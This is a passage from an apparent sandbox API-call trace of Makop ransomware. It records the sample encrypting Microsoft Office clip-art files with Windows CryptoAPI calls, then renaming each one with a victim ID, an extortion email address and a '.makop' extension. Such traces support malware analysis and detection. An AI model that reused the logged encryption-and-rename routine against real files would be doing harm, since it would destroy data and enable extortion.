hTemplateFile=0x0) returned 0xf0 [0106.690] GetProcessHeap () returned 0x48a0000 [0106.690] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.690] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.691] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.691] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.691] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.691] GetProcessHeap () returned 0x48a0000 [0106.691] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.691] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.691] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.691] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.695] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.695] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.696] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.696] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.696] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.696] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.696] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.696] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.696] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2a50, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2a50, lpOverlapped=0x0) returned 1 [0106.698] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a50, dwBufLen=0x2a50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a50) returned 1 [0106.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.698] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2a50, lpOverlapped=0x0) returned 1 [0106.698] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.699] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.699] SetEndOfFile (hFile=0xf0) returned 1 [0106.706] GetProcessHeap () returned 0x48a0000 [0106.706] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.706] GetProcessHeap () returned 0x48a0000 [0106.706] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.706] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.706] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.707] CloseHandle (hObject=0xf0) returned 1 [0106.708] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9f500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8b9f500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0106.708] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0106.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.708] GetProcessHeap () returned 0x48a0000 [0106.708] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.709] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.709] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.709] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.713] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.714] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.714] GetProcessHeap () returned 0x48a0000 [0106.714] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.714] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.714] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.714] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.714] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.714] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.714] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.715] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.715] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.715] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.715] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.715] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.715] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x385c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x385c, lpOverlapped=0x0) returned 1 [0106.717] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3860, dwBufLen=0x3860 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3860) returned 1 [0106.717] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.718] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3860, lpOverlapped=0x0) returned 1 [0106.718] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.718] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.718] SetEndOfFile (hFile=0xf0) returned 1 [0106.724] GetProcessHeap () returned 0x48a0000 [0106.725] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.725] GetProcessHeap () returned 0x48a0000 [0106.725] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.725] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.725] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.726] CloseHandle (hObject=0xf0) returned 1 [0106.726] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc14efd00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc14efd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0106.726] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0106.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.727] GetProcessHeap () returned 0x48a0000 [0106.727] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.727] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.727] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.727] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.727] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.727] GetProcessHeap () returned 0x48a0000 [0106.728] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.728] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.728] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.728] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.732] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.732] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.732] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.732] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.733] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.733] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.733] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.733] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.733] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ba0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1ba0, lpOverlapped=0x0) returned 1 [0106.735] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ba0, dwBufLen=0x1ba0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ba0) returned 1 [0106.736] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.736] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ba0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ba0, lpOverlapped=0x0) returned 1 [0106.736] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.736] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.736] SetEndOfFile (hFile=0xf0) returned 1 [0106.743] GetProcessHeap () returned 0x48a0000 [0106.743] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.743] GetProcessHeap () returned 0x48a0000 [0106.743] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.743] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.744] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.744] CloseHandle (hObject=0xf0) returned 1 [0106.745] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d83ea00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d83ea00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0106.745] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0106.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.746] GetProcessHeap () returned 0x48a0000 [0106.746] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.746] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.746] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.746] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.746] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.746] GetProcessHeap () returned 0x48a0000 [0106.746] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.746] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.746] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.746] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.755] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.755] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.756] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.756] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.756] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.756] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.756] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.756] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.757] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd10, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd10, lpOverlapped=0x0) returned 1 [0106.757] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd10, dwBufLen=0xd10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd10) returned 1 [0106.757] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.757] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd10, lpOverlapped=0x0) returned 1 [0106.757] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.757] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.757] SetEndOfFile (hFile=0xf0) returned 1 [0106.765] GetProcessHeap () returned 0x48a0000 [0106.765] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.765] GetProcessHeap () returned 0x48a0000 [0106.765] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.765] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.767] CloseHandle (hObject=0xf0) returned 1 [0106.767] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e92000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31e92000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0106.767] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0106.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 